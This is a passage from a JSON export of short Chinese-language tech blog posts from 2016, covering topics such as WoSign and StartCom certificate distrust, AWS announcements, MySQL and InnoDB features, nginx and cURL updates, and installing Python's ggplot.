    "body": "把信用卡背面的後三碼 (<a href=\"https://en.wikipedia.org/wiki/Card_security_code\">Card security code</a>) 變成動態密碼，雖然一般只會有三碼，但對於網路消費應該會有不少幫助，不過這樣就不能完全不拿出卡片了...：「<a href=\"http://www.thememo.com/2016/09/27/oberthur-technologies-societe-generale-groupe-bpce-bank-this-high-tech-card-is-being-rolled-out-by-french-banks-to-eliminate-fraud/\">This high-tech card is being rolled out by French banks to eliminate fraud</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/jcb1Aww.gif\" alt=\"\" />\r\n\r\n產品叫做 <a href=\"http://www.oberthur.com/motioncode/\">MotionCode</a>，會先從法國開始：\r\n\r\n<blockquote>Today both Société Générale and Groupe BPCE, two of France’s largest banking groups, are preparing to roll out these cards across all their customers after completing a pilot scheme last year.</blockquote>\r\n\r\n然後是波蘭、墨西哥以及英國在規劃：\r\n\r\n<blockquote>There are other pilots underway in Poland and Mexico, and Davis is running Oberthur’s UK operation with the hope of getting a pilot or trial started with a UK bank soon.</blockquote>",
    "title": "把 CSC (卡片背面的三碼) 變成 OTP (動態密碼)"
  },
  {
    "id": "6902",
    "body": "剛剛看到 <a href=\"https://www.comodo.com/\">Comodo</a> 的 <a href=\"https://github.com/robstradling\">Rob Stradling</a> 在群組上說明了 Comodo 透過 <a href=\"https://en.wikipedia.org/wiki/Revocation_list\">CRL</a> 與 <a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">OCSP</a> 取消對 <a href=\"https://www.wosign.com/\">WoSign</a> CA 的 cross-signed：「<a href=\"https://groups.google.com/d/msg/mozilla.dev.security.policy/k9PBmyLCi8I/HPrcD0HvFgAJ\">Incidents involving the CA WoSign</a>」。\r\n\r\n<blockquote>Today we have revoked (via CRL and OCSP) all 3 of the cross-certificates that we'd issued to WoSign:\r\n\r\n<a href=\"https://crt.sh/?id=3223853\">https://crt.sh/?id=3223853</a>\r\n<a href=\"https://crt.sh/?id=12716343\">https://crt.sh/?id=12716343</a>\r\n<a href=\"https://crt.sh/?id=12716433\">https://crt.sh/?id=12716433</a> \r\n\r\nSee also:\r\n<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=906611#c2\">https://bugzilla.mozilla.org/show_bug.cgi?id=906611#c2</a></blockquote>\r\n\r\n然後另外也看到在倫敦與 <a href=\"http://www.360.com/\">Qihoo 360</a>、<a href=\"https://www.startcom.org/\">StartCom</a> 以及 WoSign 的會面也已經結束了，接下來 <a href=\"https://www.mozilla.org/\">Mozilla</a> 會討論新的計畫後更新上來：「<a href=\"https://groups.google.com/d/msg/mozilla.dev.security.policy/1XI3Y7PJ1Uc/adupAcD-FgAJ\">WoSign and StartCom: next steps</a>」。",
    "title": "Comodo 取消對 WoSign CA 的 Cross-signed"
  },
  {
    "id": "6903",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈支援 IPv6 了：「<a href=\"https://aws.amazon.com/blogs/aws/ipv6-support-update-cloudfront-waf-and-s3-transfer-acceleration/\">IPv6 Support Update – CloudFront, WAF, and S3 Transfer Acceleration</a>」。\r\n\r\n不只是 Amazon CloudFront 支援了 IPv6，還包括了使用 CloudFront 而建出的 <a href=\"https://aws.amazon.com/waf/\">AWS WAF</a> 與 <a href=\"https://docs.aws.amazon.com/AmazonS3/latest/dev/transfer-acceleration.html\">Amazon S3 Transfer Acceleration</a>。\r\n\r\n所以對外的部份都有 IPv6 了 (包括了 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a>)，現在不支援的應該是內部機器與 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html\">Elastic IP address</a>？",
    "title": "CloudFront 支援 IPv6"
  },
  {
    "id": "6904",
    "body": "在「<a href=\"https://thehackernews.com/2016/10/macOS-sierra-download.html\">Apple starts downloading MacOS Sierra automatically to your MacBook — Here's How to Stop It</a>」這邊看到 <a href=\"https://www.apple.com/\">Apple</a> 會自動下載新版作業系統，大約吃 5GB 的流量愈空間：\r\n\r\n<blockquote>If you have automatic downloads enabled on your Mac, a large file of around 5GB will mysteriously be downloaded to your computer in the background, using your Internet bandwidth for unrequested files.</blockquote>\r\n\r\n關掉的方式在這邊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FXmP1wW.webp\" /><img src=\"https://i.gslin.com/imgur/FXmP1wW.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>To disable the feature, you can head on to System Preferences → App Store → Automatically check for updates and then uncheck \"Download newly available updates in the background.\"</blockquote>",
    "title": "所以 Apple 也開始玩自動下載新版作業系統這招了..."
  },
  {
    "id": "6905",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://collectd.org/\">collectd</a> 推出的 plugin，可以將 collectd 收到的資料丟到 <a href=\"https://aws.amazon.com/cloudwatch/\">Amazon CloudWatch</a> 裡：「<a href=\"https://aws.amazon.com/blogs/aws/new-cloudwatch-plugin-for-collectd/\">New – CloudWatch Plugin for collectd</a>」，<a href=\"https://github.com/\">GitHub</a> 的連結在「<a href=\"https://github.com/awslabs/collectd-cloudwatch\">A collectd plugin for sending data to Amazon CloudWatch</a>」這邊。\r\n\r\n丟上去以後就可以在 AWS 的 dashboard 上看了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XApJTnz.webp\" /><img src=\"https://i.gslin.com/imgur/XApJTnz.jpg\" alt=\"\" /></picture>",
    "title": "將 collectd 收集到的資料寫到 CloudWatch 裡"
  },
  {
    "id": "6908",
    "body": "<a href=\"https://www.gov.uk/government/organisations/cabinet-office\">英國內閣辦公室</a>中的<a href=\"https://www.gov.uk/government/organisations/government-digital-service\">英國政府數位服務</a> (Government Digital Service) 發展了一套手勢 (六個)，可以在不用打斷發言過程下表達出一些簡單的意見或是表示想要有進一步的討論：「<a href=\"https://gds.blog.gov.uk/2016/10/07/platform-as-a-service-team-takes-even-handed-approach-to-meetings/\">Platform as a Service team takes even-handed approach to meetings</a>」(網站好像有點熱門，讀取速度變慢不少 XD)。\r\n\r\n<img src=\"https://i.gslin.com/imgur/TxcPOWP.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/swwcKzM.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/H5qAMK7.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/D0koFq6.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/vhpTeOG.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/ywxiFnU.gif\" alt=\"\" />\r\n\r\n提高會議溝通的效率...",
    "title": "用手勢在會議中表達意思"
  },
  {
    "id": "6909",
    "body": "一直以為 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的 <code>[*.]</code> 只能用在開頭，剛剛測了才發現可以用在中間，所以就用這樣的方式擋下 HTTP 網站的 JavaScript：\r\n\r\n<pre>http://[*.]</pre>\r\n\r\n這樣就可以減少 HTTP request 被 hijack 插入 javascript 的問題...",
    "title": "把所有 HTTP 網站的 JavaScript 都關閉"
  },
  {
    "id": "6910",
    "body": "Okay，在 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的人跟 <a href=\"https://www.wosign.com/\">WoSign</a> + <a href=\"https://www.startcom.org/\">StartCom</a> + <a href=\"http://www.360.com/\">360</a> 的人談過後有了新的進展。\r\n\r\n幾個小時前 <a href=\"https://www.mozilla.org/\">Mozilla</a> 提了新版的草案出來 (對，還是草案)：「<a href=\"https://groups.google.com/d/msg/mozilla.dev.security.policy/BV5XyFJLnQM/_DwiB1PDGQAJ\">Remediation Plan for WoSign and StartCom</a>」。但由於 Kathleen Wilson 跟 Gervase Markham 都沒有太多意見，我猜這應該會接近定案了。\r\n\r\n這次的處分草案由 Kathleen Wilson 發出來，會包括這些 root certificate，可以看到包括了所有 WoSign 與 StartCom 的 CA：\r\n\r\n<blockquote>1) Subject: CN=CA 沃通根证书, OU=null, O=WoSign CA Limited, C=CN\r\n2) Subject: CN=Certification Authority of WoSign, OU=null, O=WoSign CA Limited, C=CN\r\n3) Subject: CN=Certification Authority of WoSign G2, OU=null, O=WoSign CA Limited, C=CN\r\n4) Subject: CN=CA WoSign ECC Root, OU=null, O=WoSign CA Limited, C=CN\r\n5) Subject: CN=StartCom Certification Authority, OU=Secure Digital Certificate Signing, O=StartCom Ltd., C=IL\r\n6) Subject: CN=StartCom Certification Authority, OU=Secure Digital Certificate Signing, O=StartCom Ltd., C=IL\r\n7) Subject: CN=StartCom Certification Authority G2, OU=null, O=StartCom Ltd., C=IL</blockquote>\r\n\r\n首先是認定這一連串的事件是惡意行為：\r\n\r\n<blockquote>Based on the information that I have seen regarding WoSign, I believe that WoSign intentionally bent the rules in order to continue issuing SHA-1 SSL certs, when they knew full well that was no longer allowed. I also believe that the deception continued even after Mozilla directly asked WoSign about this. WoSign has lost my confidence in their ability and intention to follow Mozilla's policies.</blockquote>\r\n\r\n所以打算採取與 CNNIC 類似的處分方法，但很不幸的由於規模不一樣，所以被迫採用另外的方式來處理：\r\n\r\n<blockquote>Therefore, I think we should respond similarly to WoSign as we did to CNNIC [1][2]. Unfortunately, the number of certificates and the timescales involved are such that we prefer not to create a list of the domains for which previously-issued certs that chain up to the Affected Roots may continue to be trusted, so our approach will be a little different, as Gerv previously described[3].</blockquote>\r\n\r\n這次處分的過程會包括四個項目，第一個是在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 51 會用黑名單的方式將這些 root certificate 擋下，但會信任 2016/10/21 前所發出的憑證以降低對目前網站的衝擊：\r\n\r\n<blockquote>1) Distrust certificates chaining up to Affected Roots with a notBefore date after October 21, 2016. If additional back-dating is discovered (by any means) to circumvent this control, then Mozilla will immediately and permanently revoke trust in the Affected Roots. \r\n-- This change will go into the Firefox 51 release train [4].\r\n-- The code will use the subject key id (hash of public key) to identify the Affected Roots, so that the control will also apply to cross-certs of the Affected Roots.</blockquote>\r\n\r\n然後將之前簽出來的 SHA-1 憑證列入 OneCRL：\r\n\r\n<blockquote>2) Add the previously identified backdated SHA-1 certs chaining up to the Affected Roots to OneCRL.</blockquote>\r\n\r\n另外一個非常大的事情是，Mozilla 將永久不信任安永香港的稽核報告：\r\n\r\n<blockquote>3) No longer accept audits carried out by Ernst &amp; Young Hong Kong.</blockquote>\r\n\r\nGervase Markham 做了補充「永久」的部份：\r\n\r\n<blockquote>To be clear, this is a permanent ban, applicable worldwide, but only to the Hong Kong branch of E&amp;Y. (If further issues are found with E&amp;Y audits elsewhere, then we might consider something with wider scope.)</blockquote> \r\n\r\n最後一個是移除 <a href=\"https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS\">NSS</a> 裡包的憑證：\r\n\r\n<blockquote>4) Remove the Affected Roots from NSS after the SSL certificates issued before October 1, 2016, have expired or have been replaced.</blockquote>\r\n\r\n在討論裡有提到 Firefox 與 NSS 的處置日期不太一樣的問題 (一個是 10/21，一個是 10/01)，應該會在正式的定案時修正。\r\n\r\n另外在「<a href=\"https://groups.google.com/d/msg/mozilla.dev.security.policy/TbDYE69YP8E/JpdMjH98GQAJ\">StartCom &amp; Qihoo Incidents</a>」這邊，<a href=\"https://www.google.com/\">Google</a> 家的 Ryan Sleevi 也寫了一串，也許是他目前個人的看法 (但畢竟他是 Google 家主事的人之一)，基本上的立場與 Mozilla 相同 (將 WoSign 與 StartCom 視為同一個單位，而且是刻意違反 <a href=\"https://cabforum.org/baseline-requirements-documents/\">Baseline Requirement</a>)，所以後續應該也會有動作了...",
    "title": "Mozilla 對於 WoSign + StartCom 根憑證的新發展：拔除"
  },
  {
    "id": "6911",
    "body": "之前看到 <a href=\"https://alpinelinux.org/\">Alpine Linux</a> 是從 <a href=\"https://www.docker.com/\">Docker</a> 這邊看到的，可以弄出還蠻小巧的 image...\r\n\r\n前幾天看到他們宣佈打算將 <a href=\"https://www.openssl.org/\">OpenSSL</a> 換掉，換成 <a href=\"https://www.libressl.org/\">LibreSSL</a>：「<a href=\"https://lists.alpinelinux.org/alpine-devel/5463.html\">[alpine-devel] Alpine edge has switched to libressl</a>」。而且理由也講的頗直接，覺得 OpenSSL 的改善速度還是不滿意，而且市場上有其他還不錯的方案可以選：\r\n\r\n<blockquote>While OpenSSL is trying to fix the broken code, libressl has simply removed it.</blockquote>\r\n\r\n這樣 LibreSSL 又多了生力軍，之前比較大的應該只有 <a href=\"https://www.openbsd.org/\">OpenBSD</a>...",
    "title": "Alpine Linux 決定將 OpenSSL 換成 LibreSSL"
  },
  {
    "id": "6912",
    "body": "在「<a href=\"http://mysqlserverteam.com/mysql-8-0-labs-descending-indexes-in-mysql/\">MySQL 8.0 Labs – Descending Indexes in MySQL</a>」這邊看到 <a href=\"https://dev.mysql.com/\">MySQL</a> 打算在 8.0 時實作出真正的 Descending Indexes。在 5.7 以及之前的版本，可以從「<a href=\"https://dev.mysql.com/doc/refman/5.7/en/create-index.html\">14.1.14 CREATE INDEX Syntax</a>」看到這個參數是～假～的～XDDD\r\n\r\n<blockquote>An index_col_name specification can end with ASC or DESC. These keywords are permitted for future extensions for specifying ascending or descending index value storage. Currently, they are parsed but ignored; index values are always stored in ascending order.</blockquote>\r\n\r\n所以當 8.0 建立了 <code>a_desc_b_asc (a DESC, b ASC)</code> 這樣的 index，可以看到對於不同 <code>ORDER BY</code> 時效能的差異：(一千萬筆資料)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/riyG2QL.webp\" /><img src=\"https://i.gslin.com/imgur/riyG2QL.jpg\" alt=\"\" /></picture>\r\n\r\n有些變快可以理解，但有些結果不太清楚造成的原因...\r\n\r\nAnyway，對於變慢的兩個 query，他提了一個不算解法的解法，就是加上對應的 index XDDD：\r\n\r\n<blockquote>If user wants to avoid filesorts for Query 5 and Query 6, he/she can alter the table to add a key (a ASC, b ASC) . Further to this, if the user wants to avoid backward index scans too, he/she can add both ( a ASC, b DESC) and (a DESC, b DESC).</blockquote>\r\n\r\n這樣就會變快，但寫入的 overhead 會增加啊... XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5f8rMxT.webp\" /><img src=\"https://i.gslin.com/imgur/5f8rMxT.jpg\" alt=\"\" /></picture>\r\n\r\n但不管怎樣，總算是把這個功能生出來了...",
    "title": "MySQL 8.0 將會實作「真正的」Descending Indexes"
  },
  {
    "id": "6914",
    "body": "目前只能在 2012/02/04 的「<a href=\"https://web.archive.org/web/20120204161421/http://cle.linux.org.tw/fonts/FireFly/\">Index of /fonts/FireFly</a>」與 2015/03/20 的「<a href=\"https://web.archive.org/web/20150320221601/http://www.study-area.org/apt/firefly-font/\">Index of /apt/firefly-font</a>」找到 1.3.0 的蹤跡，而 <a href=\"https://www.freebsd.org/ports/\">FreeBSD Ports</a> 裡的 <a href=\"https://github.com/freebsd/freebsd-ports/tree/master/chinese/fireflyttf\">chinese/ttf-fireflyttf</a> 則是又修正了一個版本 (1.3.0p1)，把一些字型修正掉了：\r\n\r\n<blockquote>將『角』部首及偏旁的字修改成教育部標準寫法。\r\nEdward G.J. Lee</blockquote>\r\n\r\n找了找 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下有沒有現成的套件，由於沒看到對應的版本，就決定自己做一份出來了：「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/ttf-fireflysung\">PPA for ttf-fireflysung</a>」，然後在 16.10 的 <a href=\"http://releases.ubuntu.com/16.10/\">Yakkety Yak</a> 也支援了...\r\n\r\n這個由<a href=\"http://www.arphic.com.tw/\">文鼎</a>當初捐贈的字型而修出來的版本還是頗好用的...",
    "title": "Ubuntu 上 ttf-fireflysung 的 PPA"
  },
  {
    "id": "6916",
    "body": "拿 1000W 的 LED 裝在無人機上... 等下，你挑的 LED 燈的顏色跟裝上去的方法都怪怪的 XDDD\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/Gl1xYyGom1g\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\nPS：大約在 50 秒的地方。",
    "title": "幽浮 XDDD"
  },
  {
    "id": "6917",
    "body": "如同之前 <a href=\"https://aws.amazon.com/\">AWS</a> 的規劃，宣佈啟用美東第二區了 (us-east-2，在俄亥俄州)：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-us-east-ohio-region/\">Now Open – AWS US East (Ohio) Region</a>」。看了一下 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的價錢，與 us-east-1 是同一個級別的，其他的服務應該是都差不多...\r\n\r\n另外因為跨州了 (而且跟 us-east-1 很近)，所以官方也推薦拿來做異地服務：\r\n\r\n<blockquote>With just 12 ms of round-trip latency between US East (Ohio) and US East (Northern Virginia), you can make good use of unique AWS features such as S3 Cross-Region Replication, Cross-Region Read Replicas for Amazon Aurora, Cross-Region Read Replicas for MySQL, and Cross-Region Read Replicas for PostgreSQL.</blockquote>\r\n\r\n其中有個特別的地方在於 us-east-{1,2} 之間傳輸的費用會以 Inter-AZ 計費，而非以跨 region 計費。大概是希望讓大家有動力多放些東西過去，畢竟 us-east-1 實在太大，穩定性超有名的關係 XDDD：\r\n\r\n<blockquote>Data transfer between the two Regions is priced at the Inter-AZ price ($0.01 per GB), making your cross-region use cases even more economical.</blockquote>",
    "title": "AWS 美東第二區開放"
  },
  {
    "id": "6919",
    "body": "<a href=\"http://rhelblog.redhat.com/\">Red Hat Enterprise Linux Blog</a> 上整理了一篇關於 <a href=\"https://www.docker.com/\">Docker</a> 目前支援的權限控制：「<a href=\"http://rhelblog.redhat.com/2016/10/17/secure-your-containers-with-this-one-weird-trick/\">Secure Your Containers with this One Weird Trick</a>」，目前有 38 個權限可以控制：\r\n\r\n<blockquote>Originally the kernel allocated a 32-bit bitmask to define these capabilities. A few years ago it was expanded to 64. There are currently around 38 capabilities defined.</blockquote>\r\n\r\n這對於跑一些應用來說還頗不錯的，像是之前提到的「<a href=\"https://blog.gslin.org/archives/2016/09/03/6802/%E7%94%A8-docker-%E8%B7%91-skype-%E8%AC%9B%E9%9B%BB%E8%A9%B1/\">用 Docker 跑 Skype 講電話</a>」，可以再縮限一些權限 :o",
    "title": "Docker 的權限控制"
  },
  {
    "id": "6921",
    "body": "之前在「<a href=\"https://imququ.com/post/nginx-http2-post-bug.html\">谈谈 Nginx 的 HTTP/2 POST Bug</a>」這邊提到了 <a href=\"https://nginx.org/\">nginx</a> 的一個 bug：「當 HTTP/2 的第一個 request 是 POST 時連線會失敗」的問題，這個問題在 mainline 版本的 1.11.0 解決了，但 stable 版一直沒有出新版 back-porting 回來。\r\n\r\n而剛剛看到 1.10.2 將 <code>http2_body_preread_size</code> 從 mainline 版本弄回來解決了：「<a href=\"http://mailman.nginx.org/pipermail/nginx-announce/2016/000184.html\">[nginx-announce] nginx-1.10.2</a>」。\r\n\r\n<pre>*) Change: HTTP/2 clients can now start sending request body\r\n   immediately; the \"http2_body_preread_size\" directive controls size of\r\n   the buffer used before nginx will start reading client request body.</pre>\r\n\r\n然後剛剛發現 <a href=\"https://twitter.com/oerdnj\">Ondřej Surý</a> 老大分別弄出了 <a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/nginx\">nginx</a> (stable 版本) 與 <a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/nginx-mainline\">nginx-mainline</a> (mainline 版本) 的 PPA，所以也可以考慮可以直接換到 mainline 上？這樣也是個方法...",
    "title": "nginx 1.10.2"
  },
  {
    "id": "6923",
    "body": "<a href=\"https://www.pinterest.com/\">Pinterest</a> 用 InnoDB 儲存各式資料，而且使用了 <a href=\"https://dev.mysql.com/doc/refman/5.6/en/innodb-compression.html\">InnoDB Compression</a> 的功能。他們花了不少力氣跟 <a href=\"https://www.percona.com/\">Percona</a> 合作改善 InnoDB Compression 的效能：「<a href=\"https://engineering.pinterest.com/blog/evolving-mysql-compression-part-1\">Evolving MySQL Compression - Part 1</a>」。\r\n\r\n文章有點長度，重點在於他們在 <a href=\"https://dev.mysql.com/\">MySQL</a> 裡面放了大量的 JSON：\r\n\r\n<blockquote>A Pin is stored as a 1.2 KB JSON blob in sharded MySQL databases.</blockquote>\r\n\r\n他們發現新版 <a href=\"http://www.zlib.net/\">zlib</a> 的 predefined dictionary 可以讓壓縮率變得更高 (從本來的 ~50% 到 ~66%)；而除了壓縮率變高外，由於事先定義了字典內容，對於效能的提昇也不少 (warm up)：\r\n\r\n<blockquote>Zlib version 1.2.7.1 was released in early 2013 and added the ability to use a predefined “dictionary” to prefill the lookback window for LZ77. This seemed promising since we could “warm up” the lookback window with field names and other common strings. We ran a few tests using the Python Zlib library with a naive predefined dictionary consisting of an arbitrary Pin JSON blob. The compression savings increased from ~50% to ~66% at what appeared to be relatively little cost.</blockquote>\r\n\r\n另外他們做了 read-only 的 benchmark (畢竟這是重點)。圖片資料有點糊，但可以看出 y 軸是 Queries/sec。而 x 軸上則用文字給了些說明，黃色是 <a href=\"https://en.wikipedia.org/wiki/TokuDB\">TokuDB</a>，紅色是本來的 InnoDB Compression，剩下的都是不同的字典集的成果：\r\n\r\n<blockquote>Below is a graph from our presentation which showed a read-only version of our production workload at concurrency of 256, 128, 32, 16, 8, 4 and 1 clients. TokuDB is in yellow, InnoDB page compression is in red and the other lines are column compression with a variety of dictionaries.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cMCUC4a.webp\" /><img src=\"https://i.gslin.com/imgur/cMCUC4a.jpg\" alt=\"\" /></picture>\r\n\r\n整體效率都比之前高不少，尤其是當 concurrent query 的數量偏高的時候差距會很大。\r\n\r\n而這個功能將會納入未來的 Percona 版本，對於在 MySQL 裡面會塞 JSON 或是 XML 的人應該會很有幫助：\r\n\r\n<blockquote>We worked with Percona to create a specification for column compression with an optional predefined dictionary and then contracted with Percona to build the feature.</blockquote>",
    "title": "Pinterest 在 InnoDB Compression 的努力"
  },
  {
    "id": "6924",
    "body": "在「<a href=\"https://dansaber.wordpress.com/2016/10/02/a-dramatic-tour-through-pythons-data-visualization-landscape-including-ggplot-and-altair/\">A Dramatic Tour through Python’s Data Visualization Landscape (including ggplot and Altair)</a>」這邊又再次看到 <a href=\"https://www.python.org/\">Python</a> 下的 <a href=\"http://ggplot.yhathq.com/\">ggplot</a>，以為還算好裝，但實際上好像有點難裝 XD\r\n\r\n我平常用的環境是 <a href=\"https://github.com/yyuu/pyenv\">pyenv</a> 跑 Python 3.5.2。而跑 ggplot 需要用到 <code>_tkinter</code>，這個模組，而這個模組在 Python 3 應該是內建的... 只要你有先裝 <a href=\"http://packages.ubuntu.com/tk-dev\">tk-dev</a> @_@\r\n\r\n所以在弄了半天發現這個問題後，先把 tk-dev 補裝上，再重新安裝 Python 3.5.2：\r\n\r\n<pre>$ sudo apt-get install tk-dev\r\n$ pyenv install -f 3.5.2\r\n$ pip install -U ggplot</pre>\r\n\r\n裝好後發現網路上一般建議的寫法好像不會動，又摸了一陣子後發現現在變得物件化了，要改成這樣的方式把檔案存起來：\r\n\r\n<pre>p = ggplot(...) + ...\r\np.save('a.png')</pre>\r\n\r\n另外資料的物件要透過 <a href=\"http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.html\">DataFrame</a> 產生出來，反正不少枚枚角角的細節要了解後才知道怎麼用 @_@\r\n\r\nAnyway，程式碼可以在 <a href=\"https://gist.github.com/gslin/d7567f93fbb1e3b238b14ae6b063506f\">population-taiwan.py</a> 這邊翻到，人口資料則是從中文維基百科的「<a href=\"https://zh.wikipedia.org/wiki/%E8%87%BA%E7%81%A3%E4%BA%BA%E5%8F%A3%E6%99%AE%E6%9F%A5\">臺灣人口普查</a>」這邊拉出來的，最後產生出來的圖片會是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TBGOcd3.webp\" /><img src=\"https://i.gslin.com/imgur/TBGOcd3.jpg\" alt=\"\" /></picture>\r\n\r\n算是牛刀小試... 話說 <code>theme_xkcd()</code> 效果頗不賴 XDDD",
    "title": "玩 Python 下的 ggplot"
  },
  {
    "id": "6925",
    "body": "在「<a href=\"https://www.ietf.org/blog/2016/10/new-work-in-seoul/\">New Work in Seoul</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 的消息：\r\n\r\n<blockquote>The QUIC working group has just been chartered, and will meet for the first time in Seoul. This working group is taking Google’s pre-standardization QUIC protocol that has been deployed in production for several years, and will use it as a starting point to develop a UDP-based, stream-multiplexing, encrypted transport protocol with standardized congestion control, TLS 1.3 by default, a mapping for HTTP/2 semantics over QUIC, and multipath extensions. This is the IETF’s first standardized always-encrypted transport protocol, so careful consideration of applicability and operational capabilities will be key for success.</blockquote>\r\n\r\n在 <a href=\"https://www.ietf.org/\">IETF</a> 的 <a href=\"https://datatracker.ietf.org/\">Datatracker</a> 上也可以看到記錄了：「<a href=\"https://datatracker.ietf.org/wg/quic/charter/\">QUIC (quic)</a>」，最下面的 Milestones 可以看到第一階段的目標是在明年二月把基本的協定都定下來，之後再加東西上去。",
    "title": "QUIC 的進展"
  },
  {
    "id": "6926",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 宣佈支援 IDN：「<a href=\"https://letsencrypt.org/2016/10/21/introducing-idn-support.html\">Introducing Internationalized Domain Name (IDN) Support</a>」，這代表可以申請的範圍變得更廣了：\r\n\r\n<blockquote>This means that our users around the world can now get free Let’s Encrypt certificates for domains containing characters outside of the ASCII set, which is built primarily for the English language.</blockquote>\r\n\r\n在「<a href=\"https://letsencrypt.org/upcoming-features/\">Upcoming Features</a>」可以看到下一步應該是 ECDSA Intermediates？\r\n\r\n<blockquote>Let’s Encrypt only signs end-entity certificates with RSA intermediates. We will add the ability to have end-entity certs signed by an ECDSA intermediate.</blockquote>\r\n\r\n不曉得之後還會有什麼功能...",
    "title": "Let's Encrypt 支援 IDN"
  },
  {
    "id": "6928",
    "body": "<a href=\"https://curl.haxx.se/\">cURL</a> 的維護老大放話要大家注意接下來的安全性更新：「<a href=\"https://curl.haxx.se/mail/lib-2016-10/0076.html\">An alert on the upcoming 7.51.0 release</a>」。\r\n\r\n最少 11 個安全性更新：\r\n\r\n<blockquote>This release will bundle no less than _eleven_ security advisories and their associated fixes (unless we get more reported in the time we have left).</blockquote>\r\n\r\n由於這些 security issue 的特性，會採取不公開的 branch 修正再 merge 回來，再加上這麼大的數量，對於穩定性的衝擊是未知的：\r\n\r\n<blockquote>Merging eleven previously non-disclosed branches into master just before a release is not ideal but done so to minimize the security impact on existing users when the problems get known.</blockquote>\r\n\r\n所以目前的規劃是會在 release 的 48 個小時前公開 (希望藉由這封信讓有能力的人一起集中來看)，藉此來降低衝擊：\r\n\r\n<blockquote>My plan is to merge them all into master and push around 48 hours before release, watch the autobuilds closesly, have a few extra coverity scans done and then fix up what's found before the release.</blockquote>\r\n\r\n這安全更新的數量好像有點多 orz",
    "title": "cURL 接下來的安全性更新..."
  },
  {
    "id": "6929",
    "body": "看到「<a href=\"https://github.com/quiet/org.quietmodem.Quiet\">Quiet for Android - TCP over sound</a>」這個給 <a href=\"https://www.android.com/\">Android</a> 用的專案，就是以前的撥接數據機嘛... 在直接拉線對連時連速度都還蠻像的：\r\n\r\n<blockquote>Quiet's provided audible mode transfers at approximately 7kbps. In cases where two devices are connected over a cable (via 3.5mm jack) it can run in cable mode, which transfers at approximately 64kbps.</blockquote>\r\n\r\n拿來做一些 (邪惡的) 事情？",
    "title": "Android 上透過 DAC (i.e. 耳機或是喇叭) 再做 ADC (i.e. 麥克風) 的傳輸"
  },
  {
    "id": "6930",
    "body": "在「<a href=\"https://evertpot.com/syntax-highlighting-in-presentations/\">Syntax highlighting in presentations</a>」這邊用了一些迂迴一點的方法來加上色彩：\r\n\r\n<pre>pygmentize -O style=xcode -o output.rtf input.js</pre>\r\n\r\n這邊介紹的方式是用 <a href=\"http://pygments.org/\">Pygments</a> 把程式碼轉成 rtf，然後再 copy &amp; paste 貼到投影片上，有點硬但還算 okay 的方案吧...",
    "title": "對投影片的程式碼加上色彩"
  },
  {
    "id": "6932",
    "body": "Short Version：遇到這個問題，只要把作業系統從 10.10 更新到 10.12 就好了：「<a href=\"http://www.macrumors.com/2016/05/13/macbook-pro-system-freezes-os-x-10-11-4/\">Mac Users Reporting Widespread System Freezes With OS X El Capitan 10.11.4 Update</a>」。\r\n\r\n<hr>\r\n\r\n之前 <a href=\"https://www.apple.com/macbook-pro/specs-retina/\">MBPR</a> 在過保後掛過一次送修 (常常無法開機，開起來後鍵盤與觸控板都沒有反應)，當時把鍵盤與觸控板都換掉... 結果前幾天發生觸控板的壓力回饋失效的問題 (還是可以移動滑鼠游標與輕觸)，但這幾天要去日本，想帶著處理事情，就先上 <a href=\"http://24h.pchome.com.tw/\">24h</a> 買個 <a href=\"http://www.apple.com/shop/product/MLA02LL/A/magic-mouse-2\">Magic Mouse 2</a> 應急 (用 lightning 充電的那個版本，被嘲笑很醜的那個 XD)。\r\n\r\n買回來後發現 Magic Mouse 2 的多點觸控與電量資訊沒有顯示在系統裡，翻了資料才發現要 10.11 之後的版本：\r\n\r\n<blockquote>Bluetooth-enabled Mac computer with OS X v10.11 or later</blockquote>\r\n\r\n耐著性子升級想說出國前至少把問題解決一些，升完後發現觸控板的回饋就回來了... 然後查資料發現是系統的 bug 造成的：\r\n\r\n<blockquote>The freeze seems to affect not only the screen and mouse cursor but also the Mac's Force Touch trackpad, which completely loses feedback.</blockquote>\r\n\r\n好吧就這樣吧 orz",
    "title": "MBPR 觸控板壓力回饋失效的問題"
  },
  {
    "id": "6933",
